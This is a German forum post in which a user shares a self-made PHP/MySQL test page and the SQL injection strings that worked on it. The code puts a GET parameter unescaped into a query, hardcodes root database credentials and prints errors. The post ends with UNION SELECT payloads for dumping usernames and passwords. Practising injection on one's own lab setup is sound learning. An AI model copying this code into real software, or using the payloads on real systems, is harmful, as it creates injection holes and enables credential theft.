?
Ich habs endlich geschafft ....
Ich schreib hier einfach mal rein was ich da so eingeben habe vielleicht kann das ja irgendwem nochmal hilfreich sein.
seite1.php
<?php
$verbindung = mysql_connect ("localhost",
"root", "12345678")
or die ("keine Verbindung möglich.
Benutzername oder Passwort sind falsch");
mysql_select_db("homepage")
or die ("Die Datenbank existiert nicht.");
$test = $_GET['test'];
$query = "SELECT artikel_text , artikel_titel
FROM links
WHERE artikel_id = $test";
$result = mysql_query($query);
$row = mysql_fetch_array($result);
echo('Text: '.$row['artikel_text'] );
echo "<br><br>";
echo ('Title:'.$row['artikel_title']);
if ($test ==1)
{
echo "<br><br>";
$query = "SELECT user_username , user_password
FROM user
WHERE user_id = 1";
$ergebnis = mysql_query($query);
while($row = mysql_fetch_object($ergebnis))
{
echo "Username: $row->user_username <br>";
echo "Passwort: $row->user_password <br>";
}
}
else
{
echo "falsch eingabe";
}
echo "<br><br>";
echo "query: ",$query;
echo "<br><br>";
echo mysql_error();
// UNION SELECT user_password, user_username FROM user WHERE user_id = 1
// UNION SELECT user_username, user_password FROM user WHERE user_id = 1
mysql_close($verbindung);
?>
Index.php
<form action="seite1.php" method="GET"
<body>
Eingabe:<br>
<input type="text" name = "test">
<br><br>
<br>
<input type="Submit" value="Absenden">
<br><br>
</body>
</form>
Injections:
Den user_username auslesen:
UNION SELECT user_username, user_password FROM user WHERE user_id = 1
Das user_passwort auslesen:
UNION SELECT user_password, user_username FROM user WHERE user_id = 1